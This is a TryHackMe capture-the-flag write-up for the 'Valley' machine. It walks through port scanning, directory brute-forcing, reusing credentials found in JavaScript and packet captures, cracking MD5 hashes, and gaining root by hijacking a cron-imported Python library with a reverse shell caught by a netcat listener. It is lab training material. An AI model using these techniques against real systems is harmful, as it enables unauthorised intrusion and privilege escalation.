This challenge is from TryHackMe

Writeup

Port scan

Start ping scan on all ports

$ nmap -Pn $IP -p-  

Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
37370/tcp open  unknown

We have 3 ports open - Let’s scan them

$ nmap -sC -sV $IP -p37370,22,80

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2842ac1225a10f16616dda0f6046295 (RSA)
|   256 429e2ff63e5adb51996271c48c223ebb (ECDSA)
|_  256 2ea0a56cd983e0016cb98a609b638672 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
37370/tcp open  ftp     vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel


We have OpenSSH, Apache and vsftpd

Website Enumeration

On website I found note.txt in /pricing

J,
Please stop leaving notes randomly on the website
-RP

So there might be some notes - let’s bust /static directory beacouse we can’t list it from the webpage

$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://$IP/static  -x php,html
[...]

/00                   (Status: 200) [Size: 127]
/11                   (Status: 200) [Size: 627909]
/3                    (Status: 200) [Size: 421858]
/13                   (Status: 200) [Size: 3673497]
/12                   (Status: 200) [Size: 2203486]
/10                   (Status: 200) [Size: 2275927]
/5                    (Status: 200) [Size: 1426557]
[...]

Files with names from 1-19 are photos from /gallery but in /00 we have earlier mentioned note left

dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts

So it has a hidden directory /dev1243224123123 - After visiting it, we have some login form

If we try to log in, we see that auth mechanism is possibly written in js - We have it in dev.js file in Our hidden directory

[...]
if (username === "siemDev" && password === "[Password]") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }

There, we have credentials for this form and some other link to dev notes

There is another note

dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port

If we trust what they say, they are reusing credentials - siemDev with it’s password may be our FTP creds

FTP

First - log into FTP

$ ftp $IP -p 37370
220 (vsFTPd 3.0.3)
Name (10.10.97.110:wizarddos): siemDev
331 Please specify the password.
Password:  [Password]
230 Login successful.

ftp>

We are in - list directories and let’s see what we have there

ftp> ls
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000         7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r--    1 1000     1000      1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r--    1 1000     1000      1972448 Mar 06 14:06 siemHTTP2.pcapng

These look like captured internet packages - Let’s download them and analyze by wireshark

ftp> get siemFTP.pcapng

local: siemFTP.pcapng remote: siemFTP.pcapng
229 Entering Extended Passive Mode (|||44679|)
150 Opening BINARY mode data connection for siemFTP.pcapng (7272 bytes).
100% |***********************************************************************|  7272       80.64 MiB/s    00:00 ETA
226 Transfer complete.
7272 bytes received in 00:00 (69.47 KiB/s)

ftp> get siemHTTP1.pcapng

local: siemHTTP1.pcapng remote: siemHTTP1.pcapng
229 Entering Extended Passive Mode (|||30906|)
150 Opening BINARY mode data connection for siemHTTP1.pcapng (1978716 bytes).
100% |***********************************************************************|  1932 KiB  375.53 KiB/s    00:00 ETA
226 Transfer complete.
1978716 bytes received in 00:05 (371.80 KiB/s)

ftp> get siemHTTP2.pcapng

local: siemHTTP2.pcapng remote: siemHTTP2.pcapng
229 Entering Extended Passive Mode (|||21876|)
150 Opening BINARY mode data connection for siemHTTP2.pcapng (1972448 bytes).
100% |***********************************************************************|  1926 KiB  555.25 KiB/s    00:00 ETA
226 Transfer complete.
1972448 bytes received in 00:03 (546.64 KiB/s)

ftp> exit
221 Goodbye.

$

Hop into wireshark and analyze them

PCAP analysis

In TCP stream nr. 0 of siemFTP.pcapng we see an attacker loged into FTP using anonymous login, but we can’t do it. This FTP daemon doesn’t allow anon login

But in siemHTTP2.pcapng we have found something interesting

In TCP stream nr. 31 we have HTTP POST request to log in somewhere using valleyDev credentials - this may be for SSH

SSH and user flag

$ ssh valleyDev@$IP
valleyDev@10.10.29.225's password: [Password]

[...]

valleyDev@valley:~: 

We are in! - get the user flag

$ ls
user.txt
$ cat user.txt
[User Flag]

We have it

Now let’s do privesc

Privilage escalation

In a /home dir we have valleyAuthenticator - this may help us escalate to another user and access more information

Escalation to another user

Let’s download it and perform strings analysis on it

$ strings valleyAuthenticator
[...]

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

[...]

This is basicly UPX archive - let’s unpack it

$ upx -d valleyAuthenticator
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2285616 <-    749128   32.78%   linux/amd64   valleyAuthenticator

Unpacked 1 file.

Note: UPX overrides passed file - It’s better to not do it on attacked machine

Now, we can look for some passwords

$ strings valleyAuthenticator | grep -i pass -B 15 -A 15
[...]
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
[...]

We have 2 hashes - let’s put them into hash.txt file and crack them with hashcat

$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
[...]

dd2921cc76ee3abfd2beb60709056cfb:valley                   
e6722920bab2326f8217e4bf6b1b58ac:[Cracked Hash]             
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: hash.txt

[...]

And we have credentials for this file

Let’s use it and log into

$ ./valleyAuthenticator
Welcome to Valley Inc. Authenticator
What is your username: valley
What is your password: [Password]
Authenticated

$ su valley
Password: 

Now we have access to /home/valley

I see nothing interesting so let’s find something else

We have some cronjob running in a background

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *   * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6   * * *    root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6   * * 7    root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6   1 * *    root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
1  *    * * *   root    python3 /photos/script/photosEncrypt.py

We can’t override photosEncrypt.py script but let’s see what it does - we may find some privesc vector

$ cat  photosEncrypt.py

#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
   image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
   with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
   encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
   output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
   with open(output_path, "wb") as output_file:
         output_file.write(encoded_image_data)

This file uses base64 module - if we overwrite it we can get a reverse shell for root

This is called library hijacking

Let’s check where is this library located

$ locate base64.py
/snap/core20/1611/usr/lib/python3.8/base64.py
/snap/core20/1828/usr/lib/python3.8/base64.py
/usr/lib/python3.8/base64.py

We found it in /usr/lib/python3.8 - let’s check if we can write it

$ ls -la /usr/lib/python3.8/base64.py
-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 03:26 /usr/lib/python3.8/base64.py

Users in groups root and valleyAdmin can write this file - Are we in on of these?

$ groups
valley valleyAdmin

We are in valleyAdmin - we can override it

Delete whole content and write reverse shell into it - I used one from highon.coffee

Then set up your netcat listener

$ nc -lvnp [PORT}

And almost immediately after starting listener we have root shell - get the root flag

$ cat root.txt
[Root Flag]

That’s it - Machine Pwned

Conclusion

Kinda fresh (When I was writing this it was 8 days old) and interesting machine

I had some moments, when I didn’t know what to do but finally I managed to solve everything

See you in next writeup